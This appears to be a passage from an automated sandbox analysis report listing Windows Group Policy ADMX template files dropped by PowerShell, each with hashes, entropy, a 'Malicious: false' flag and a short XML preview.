Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="performanceperftrack" namespace="Microsoft.Policies.PerformancePerftrack" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="PerfTrackCategory" displayName="$(string.PerfTrackCategory)">.. <parentCategory ref="windows:Troubleshooting" />.. </category>.. </categories>.. <policies>.. <policy name="WdiScenarioExecutionPolicy" class="Machine" displayName="$(string.WdiScenarioExecutionPolicy)" explainText="$(string.PerfTrackScenarioExecutionPolicyExplain)" key="SOFTWARE\Policies\Microsoft\Windows\WDI\{9

C:\Users\user\AppData\Local\Temp\file\Resource\Power.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (340), with CRLF line terminators
Category:	dropped
Size (bytes):	35966
Entropy (8bit):	5.139476558454511
Encrypted:	false
SSDEEP:	768:H+ogN7LybLQUmmfpl8IgJKwJqwM+jkjoDrUyKbi4KJAC0MGi+KPBjiwlxy1fHHcb:H+ogN7LybLQUmmfpl8IgJKwJqwM+jkjQ
MD5:	B9EF9957262B6EC6593B9D4B872E902B
SHA1:	FDB8E0B42EFFED3DF42977F2ACCFF3B633FC8269
SHA-256:	7B27400094F6DA7FD7F461EF5C13935C8F629FA490F843A23C4D235746B2B3AE
SHA-512:	C9E5F0C79BA7ECEA379CE0B463D9DC8E9339C3B3AC2B31B4917A9BCD4D1F44EBFBE53B07FC005F056F6A9E9BE77E9BA954FCD58A96558FB8B8AF2870AC73E9D0
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="power" namespace="Microsoft.Policies.PowerManagement" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories> .. <category name="PowerManagementCat" displayName="$(string.PowerManagementCat)">.. <parentCategory ref="windows:System" />.. </category>.. <category name="PowerBatteryAlarmSettingsCat" displayName="$(string.PowerBatteryAlarmSettingsCat)">.. <parentCategory ref="PowerManagementCat" />.. </category>.. <category name="PowerButtonActionSetti

C:\Users\user\AppData\Local\Temp\file\Resource\PowerShellExecutionPolicy.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (368), with CRLF line terminators
Category:	dropped
Size (bytes):	4984
Entropy (8bit):	5.002455164798875
Encrypted:	false
SSDEEP:	96:5yGMFLoQKnKeg56bc/GwFb1E+N/GwBC1eHK/GwnMa1K0z/GwAeFACc1Ed/GwUx3:whL7GcJFb1NJoSKJnMaHzJAemEdJUx3
MD5:	CF3A6940F87D0A1B53A99E3E205066C9
SHA1:	29C3D8CA609A60358F958B6036E225AB18423558
SHA-256:	04BB49C481891CDED0C411626070851EF30B21C61D2E8D8D5475604662F0E518
SHA-512:	7805F940621A91353CD5DE0D49720BB829D1BFE9DF0127E1AF98C030D94C5E18FD7229EE392E28BA1EDF745B06CE6339071020A316541B1F64842DA60FA3BF29
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<policyDefinitions xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" revision="1.0" schemaVersion="1.0" xmlns="http://www.microsoft.com/GroupPolicy/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="powershellexecutionpolicy" namespace="Microsoft.Policies.PowerShell" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <supportedOn>.. <definitions>.. <definition name="SUPPORTED_WIN7" displayName="$(string.SUPPORTED_WIN7)" />.. </definitions>.. </supportedOn>.. <categories>.. <category name="PowerShell" displayName="$(string.PowerShell)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="EnableScripts" class="Both" displayName="$(string.EnableScripts)" explainText="$(string.EnableScripts_Explain)" presentat

C:\Users\user\AppData\Local\Temp\file\Resource\PreviousVersions.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	7294
Entropy (8bit):	5.016435507930083
Encrypted:	false
SSDEEP:	192:vY7T2/a/9/C/A/Q/V/8/C/u/gScK//KXcK//5:z/a/9/C/A/Q/V/8/C/u/gScK//KXcK/h
MD5:	F70E4612B41624153386964EE1599D75
SHA1:	E87CEE2E5EC412C32EA32C60E931276EFCBEB449
SHA-256:	A87CE117704CA35DE95B7534D8F15440FF6196526740A3699C01153395A56650
SHA-512:	1955D7D793D09C7B924101918319F876EACBD535F30B8CB0A752F951F036657C1E4742B48866F0635B9C865098DDEA778FF90F655B598FECD705A2A882E6000D
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="previousversions" namespace="Microsoft.Policies.PreviousVersions" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <supportedOn>.. <definitions>.. <definition name="SUPPORTED_Vista_through_Win7" displayName="$(string.SUPPORTED_Vista_through_Win7)">.. <or>.. <range ref="products:MicrosoftWindowsVista" /> All of Windows Vista -->.. <reference ref="products:MicrosoftWindows7"/> All of Windows 7 -->.. </or>.. </definition>.. </definitions>.. </supportedOn>.. <categories>.. <categ

C:\Users\user\AppData\Local\Temp\file\Resource\Printing.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	25476
Entropy (8bit):	4.73625907571631
Encrypted:	false
SSDEEP:	384:1s6mjocMLwRSfddhISkmFDGl7PirO0uhswSzsTU8KzH9JjYESpdCW0vq3cuKpdci:1a8FPH9qIu6nzsApzH38pfcvpwdp8
MD5:	8601275427C72BA0F8D7F11CD7189628
SHA1:	2756D0FCF8A5C6D7CAD3FB5FBEAFD12AD12B404A
SHA-256:	312F04B392F958D49BB204BA8DC65D434745351C882129B04F79E3B9DCD74877
SHA-512:	81BF120AFC104362B9E630BA256DD650C960871B5A047E8C69E096A479DFCB7257D7B9D27EC4BB3C4E6B0BEC6D94F186D13DABBC571E775999FC2DA3477DFE2B
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>.... (c) 2006 Microsoft Corporation --><policyDefinitions.. xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.0".. schemaVersion="1.0".. >.. <policyNamespaces>.. <target.. namespace="Microsoft.Policies.Printing".. prefix="printing".. />.. <using.. namespace="Microsoft.Policies.Windows".. prefix="windows".. />.. </policyNamespaces>.. <resources minRequiredRevision="1.0"/>.. <supportedOn>.. <definitions>.. XPSP1 through Server 2008 RTM -->.. <definition.. displayName="$(string.SUPPORTED_XPSP1_through_Server_2008_RTM)".. name="SUPPORTED_XPSP1_through_Server_2008_RTM".. >.. <or>.. <range.. minVersionIndex="1".. ref="products:Microsof

C:\Users\user\AppData\Local\Temp\file\Resource\Printing2.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	13329
Entropy (8bit):	4.4942816875033715
Encrypted:	false
SSDEEP:	192:lfp+oRcqMttIoekBjE0hO/dlEkH8bBE0owEk8Jd0p4tTEmE:uEiBjrhOVlzH8bBPowxQCp4l1E
MD5:	C290063C2D3AAEF142E6F74DB1B879B9
SHA1:	40A9E98F3027CCF2AFC9E83DEC584E3948DD2261
SHA-256:	5E88855AF22A6B07C8B12DA3D8B2E1E8B90000D1784FEDE53F092212E5268A11
SHA-512:	6F4B7F2240AEA0BD3EC4FEE80C8A1C09D21D48496C06384A82FFCCA902EEA0B26ED4B40F820F6BD03D645B8D745D6B6333BBFEDA3F222F6B54F19542A43B73E3
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>.... (c) Microsoft Corporation --><policyDefinitions.. xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.0".. schemaVersion="1.0".. >.. <policyNamespaces>.. <target.. namespace="Microsoft.Policies.Printing.2".. prefix="printing2".. />.. <using.. namespace="Microsoft.Policies.Windows".. prefix="windows".. />.. </policyNamespaces>.. <resources minRequiredRevision="1.0"/>.. <policies>.. <policy.. class="Machine".. displayName="$(string.RegisterSpoolerRemoteRpcEndPoint)".. explainText="$(string.RegisterSpoolerRemoteRpcEndPoint_Help)".. key="Software\Policies\Microsoft\Windows NT\Printers".. name="RegisterSpoolerRemoteRpcEndPoint".. valueName="RegisterSpoolerRemoteRpcEndPoint

C:\Users\user\AppData\Local\Temp\file\Resource\Programs.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3243
Entropy (8bit):	5.158468507933469
Encrypted:	false
SSDEEP:	96:QeD/mD5lovKnKuC5xS118Ss19S51XSL1JSlrKgKSc1RSVC:vYbeO1xsu5ILelegFcSVC
MD5:	2E7A9978135B21DFF9D1FD14521F3763
SHA1:	23AB24859E5D7CB4B1D39A09481C3B2C1E933BA2
SHA-256:	FE82B1B648B81E36DE6EB2D237C97F898E2A0FCCB64651BD570186968587FCB8
SHA-512:	B83FE33D31C72FEAC5A57338819176542144637DD282F7D2E86DDD09E2431B8EC03B94143E6C1A79C8C7D5BB22B921503E20B88B139D42E09DEE2E686C68DAD5
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="programs" namespace="Microsoft.Policies.Programs" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Programs" displayName="$(string.Programs)">.. <parentCategory ref="windows:ControlPanel" />.. </category>.. </categories>.. <policies>.. <policy name="NoProgramsCPL" class="User" displayName="$(string.NoProgramsCPL)" explainText="$(string.NoProgramsCPL_Help)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Programs" valueName="NoProgramsCPL">.. <parentCategory ref="Programs" />.. <

C:\Users\user\AppData\Local\Temp\file\Resource\PswdSync.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (320), with CRLF line terminators
Category:	dropped
Size (bytes):	3344
Entropy (8bit):	5.105917820654527
Encrypted:	false
SSDEEP:	96:cD3DV0DoG5aKnKAtLUdALXGwt916XqX2XnLGXKdiLjGwjw+C:saD7vxt90XqX2XLGXv9jw+C
MD5:	A18500360FD64A630BE2B6F27D4BC10F
SHA1:	AD7169BD2C7A6B30AE3897FF1CAB92E6A0964C4F
SHA-256:	0C98154B7F61C5828492732D0A1D2E28AA5D83E2433E5B883D3BBCEA0D5D8978
SHA-512:	BAF9B1E6E2DE636FFFB06F589AE09DCF5718B76A81B667657C9CDD3F33DCEAD5C79BCB216A5E81DE569CEA22201E3604DA18CEAE74924A4DF4D57566A97E560A
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2007 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="pswdsync" namespace="Microsoft.Policies.PasswordSync" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="server" namespace="Microsoft.Policies.Server" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.... <categories>.. <category name="PswdSync" displayName="$(string.PswdSync)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.... <policies>.. <policy name="Psync_LoggingLevel" class="Machine" displayName="$(string.Psync_LoggingLevel)" explainText="$(string.Psync_LoggingLevel_Help)" key="Software\Policies

C:\Users\user\AppData\Local\Temp\file\Resource\QOS.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (321), with CRLF line terminators
Category:	dropped
Size (bytes):	13257
Entropy (8bit):	5.305789969550041
Encrypted:	false
SSDEEP:	384:Y4LImKL2CeLeMIjjL5/JLHgALIGSL2CGLexxL5hbLH8rX4ajcN9hYTFoihF+elF5:Y40mKCCea/nN/JjgA0GSCCGaxxNhbj8J
MD5:	347ADD2A50978A884F15A2049082E1C4
SHA1:	8F5E2EF89A5171B9D84F7A3226D12694BCD0BD21
SHA-256:	37C2E733F5E38185C9E6A957D10F75AD15464BB2E3B28E5EB821BE1AE124F5E7
SHA-512:	4BC211539038E0EF92F860D2F09A91A82A598DD63C583C102AAF81C324F8A4A1DAE50343B52D8F1922342C61C94C341B287B28E09987E62729F6E2662919B418
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="qos" namespace="Microsoft.Policies.QualityofService" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="QosPsched" displayName="$(string.QosPsched)">.. <parentCategory ref="windows:Network" />.. </category>.. <category name="QosDiffservByteMappingConforming" displayName="$(string.QosDiffservByteMappingConforming)">.. <parentCategory ref="QosPsched" />.. </category>.. <category name="QosDiffservByteMappingNonConforming" displayName="$(string.QosDiffservByteMappingNonConforming)">.. <pa

C:\Users\user\AppData\Local\Temp\file\Resource\RPC.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	6292
Entropy (8bit):	4.840088790877482
Encrypted:	false
SSDEEP:	96:QeD/mDT6ovKnKt5isohyvhdcpDwT1IhF1YBqw09CM1iDw0U166ww/j1cBDwrTDC:vYOWosohUECTKhFw08MV0U0wrWqr3C
MD5:	24D24ABDCF3CD77C817B29AB8D6CDA98
SHA1:	777BA2FA58543F943FAB482E12E9F4B441D31326
SHA-256:	119FF7AC15A9AB6E75C431C032E46DA85772706A34B66D0B8BFAC3077FE6C20C
SHA-512:	B3CD37F6524EAE08AE432F6FABF1A4AD282D0C1E1CB6B17B2110158A1D3C72D208DA637596096962280B20B685C6BBC990EC92A5A366B7147A6DF77E133D478D
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="rpc" namespace="Microsoft.Policies.RemoteProcedureCalls" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Rpc" displayName="$(string.Rpc)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="RpcEnableAuthEpResolution" class="Machine" displayName="$(string.RpcEnableAuthEpResolution)" explainText="$(string.RpcEnableAuthEpResolution_Help)" key="Software\Policies\Microsoft\Windows NT\Rpc" valueName="EnableAuthEpResolution">.. <parentCategory ref=

C:\Users\user\AppData\Local\Temp\file\Resource\RacWmiProv.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1273
Entropy (8bit):	5.200773981221133
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKtK6fu0s6fE3+dK9lKicpKjcp7sBMVJpQBZ1+2hJJo:3geDw08gmD2fuofHKnKiQ5dsBMjpQBZg
MD5:	5D598B72EDF6BDBA3EC0F233EC2C71C9
SHA1:	D4C892B914A1935B911588F488BD62B9E656E3AC
SHA-256:	529BF4EF060E851CBD697072773F17193757A13A9ADA6A1ED0D19A7301C856BD
SHA-512:	C9B306194887871857DE9F004EC1A9C1E9501DB8600B7C95501C6F1D3B16B7EE35B1D7DF5C1716651F363AC6CDC1F57C5DFCB5B20FDB4A6EA17842D67FC154B8
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="ReliabilityAnalysis" namespace="Microsoft.Policies.ReliabilityAnalysis" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="RAC" displayName="$(string.RAC)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="ConfigureRacWmi" class="Machine" displayName="$(string.ConfigureRacWmi)" explainText="$(string.ConfigureRacWmi_help)" key="SOFTWARE\Policies\Microsoft\Windows\Reliability Analysis\WMI" valueName="WMIEnable">.. <parentCategory ref

C:\Users\user\AppData\Local\Temp\file\Resource\Radar.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (351), with CRLF line terminators
Category:	dropped
Size (bytes):	1972
Entropy (8bit):	5.067220001182176
Encrypted:	false
SSDEEP:	48:3geDw08gmDb8fEofHKnKa55+u9n4qhhGwv4sC:QeD/mDQcovKnK25P9n4oGwvhC
MD5:	E03CF703AFC532613BF361B5AEF3B17B
SHA1:	010BD81BE35E8AE9C729C7DF2619BB21716C99EA
SHA-256:	5C135912495FF1D559BCA0AEA401078AE5606D88FF6422FFA2AF965EF956335E
SHA-512:	6DE75094A8ED5153D8A2D1438A1DCFA7D91B3433CA0F979AB3D91D10487F58376F16F1DBCC5CD38917E4FAC6F998D4DC9E7615594F8D358546DF8C7B3E902AF4
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="radar" namespace="Microsoft.Policies.ResourceExhaustionDiagnostics" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WdiScenarioCategory" displayName="$(string.WdiScenarioCategory)">.. <parentCategory ref="windows:Troubleshooting" />.. </category>.. </categories>.. <policies>.. <policy name="WdiScenarioExecutionPolicy" class="Machine" displayName="$(string.WdiScenarioExecutionPolicy)" explainText="$(string.WdiScenarioExecutionPolicyExplain)" presentation="$(presentation.WdiScenarioExecutionPolicy

C:\Users\user\AppData\Local\Temp\file\Resource\ReAgent.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1240
Entropy (8bit):	5.207091071989849
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKteLo6fmAL0s6fE3+dK9lKP8OpKjcp0+1GVnTPTlAF9lJJM:3geDw08gmDPfxofHKnKk25q+1GxPTqFa
MD5:	0FFF459097841B7C8A7C1092492935D3
SHA1:	CFE1AB996A4A20429C4BDE8F28A51BDC45C35B67
SHA-256:	1703B66AF219987931127FCD599B9A8D5ADA5FF37F1B2CDA3AA668B5C2E07F02
SHA-512:	F74C1DCDB4C023F2ACCC848E1DD38592390BFA7D2211C52910C3785EE03992CD72397EDCD96448DF5FA74DE645258E9EF37F4F3054C837344572DE9AEB902DB5
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="WinRE" namespace="Microsoft.Policies.WinRE" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WinRE" displayName="$(string.WinRE)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="ConfigureWinRESetup" class="Machine" displayName="$(string.ConfigureWinRESetup)" explainText="$(string.ConfigureWinRESetup_help)" key="SOFTWARE\Policies\Microsoft\Windows\WinRE" valueName="DisableSetup">.. <parentCategory ref="WinRE" />.. <supportedOn ref="wi

C:\Users\user\AppData\Local\Temp\file\Resource\Reliability.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (321), with CRLF line terminators
Category:	dropped
Size (bytes):	3722
Entropy (8bit):	5.039078511783513
Encrypted:	false
SSDEEP:	96:QeD/mD8AofL5N/vyZlQ9GwITC1ZJsizdsEQKdsldQcRGwfcKC:vYjapz6CpsJh1lmc3fcKC
MD5:	4581F6C150EFAFFD6930609DC30671A0
SHA1:	9007B9B79AB6703464759890DB6B7473CCA97878
SHA-256:	420C9F48EFBE2551C0B8D0624B65692126B9228EE9CE308300EE75C49F7B3C06
SHA-512:	164F074AB09A33342AB9C681292827CECC3B80445B13E788C448D02CB1F0F54A3407842E15BBB00D9010BED76B6C0B6E9FC2A69557B814A389A91EBECB371A5A
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="reliability" namespace="Microsoft.Policies.Reliability" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="wer" namespace="Microsoft.Policies.WindowsErrorReporting" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="EE_EnablePersistentTimeStamp" class="Machine" displayName="$(string.EE_EnablePersistentTimeStamp)" explainText="$(string.EE_EnablePersistentTimeStamp_Help)" presentation="$(presentation.EE_EnablePersistentTimeStamp)" key="Software\Policies\Microsoft\Windows NT\Reliability" valueName="TimeStampEnabled">.. <parentCategory ref="

C:\Users\user\AppData\Local\Temp\file\Resource\RemoteAssistance.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (307), with CRLF line terminators
Category:	dropped
Size (bytes):	7150
Entropy (8bit):	4.855394629490161
Encrypted:	false
SSDEEP:	96:QeD/mDKAovKnKR53gvdEgmdMggGwXSCJW1xOg/5Gwf/F016gZGwJ3P89/mS1QgUs:vYLWaf+AX+HfXf/F0xvJ/8lpzkmOC
MD5:	CEBDB3E4801FC67FCBCB60867F6F784F
SHA1:	9353331A139A1A1E558BBC9A0A2607397B225B09
SHA-256:	D0DB8B6BE20761C773136197A644EAAB720ABCBDFECC8DF09AE1656FB0732174
SHA-512:	D05823D157526E02E0799EF874A5ADBA40C29C31CD6EFDF809DA5300F709583D7B79A004A75D82DEDFF132F7D34BD3DCD007A83ED73533C54DF36643B1C83433
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="remoteassistance" namespace="Microsoft.Policies.RemoteAssistance" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="RemoteAssist" displayName="$(string.RemoteAssist)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="RA_Logging" class="Machine" displayName="$(string.RA_Logging)" explainText="$(string.RA_Logging_Help)" key="Software\policies\Microsoft\Windows NT\Terminal Services" valueName="LoggingEnabled">.. <parentCategory ref="RemoteAssis

C:\Users\user\AppData\Local\Temp\file\Resource\RemovableStorage.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (354), with CRLF line terminators
Category:	dropped
Size (bytes):	23268
Entropy (8bit):	5.1684959205864285
Encrypted:	false
SSDEEP:	384:qMzmeMzmUHRhxBPk7UPk71IkMhIkMraqgQWmic8Af8E4+uVicGicU5BM5BTs:Xiziasys2lKlk
MD5:	AA180B12431D0D75BA6AF97F7F43694F
SHA1:	9B0888D0CDFCB5670F39447BE451D07AD39AE7F8
SHA-256:	F773D680781538B4CAA7FE08BD03678295687D83DF3612F3520A30486B2DCB6A
SHA-512:	32806637608AF6631407915EEE978E6634D64077C0163DC9DA80ECD8372C4A72F4907C589F9C899A8A4F9F1F88C9D36C0EBC47C5E5C83C9793CC55F37BA3B93C
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="removablestorage" namespace="Microsoft.Policies.RemovableStorageAccess" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="DeviceAccess" displayName="$(string.DeviceAccess)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="AccessRights_RebootTime_1" class="User" displayName="$(string.AccessRights_RebootTime)" explainText="$(string.AccessRights_RebootTime_Help)" presentation="$(presentation.AccessRights_RebootTime_1)" key="Software\Policies\Micros

C:\Users\user\AppData\Local\Temp\file\Resource\SaslPrep\SaslPrepProfile_norm_bidi.spp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	13724
Entropy (8bit):	2.9768827947111784
Encrypted:	false
SSDEEP:	24:j2Lc2SuJAoYYY6JB/BsSh7F3eQfWiLLN+LEEEEEEEEEEEEEEEEEEEEEEEEEEEEp:2c29CoX5JBNhCiLx+l
MD5:	787DCAE108EF9D5FCD9F60CE6387E7B1
SHA1:	83A906239423183910E617273D6023C534E47E5C
SHA-256:	F2501579FC7AB062324B4E1A45428F69F9A37E0363A4FC1D3734157B587B92E1
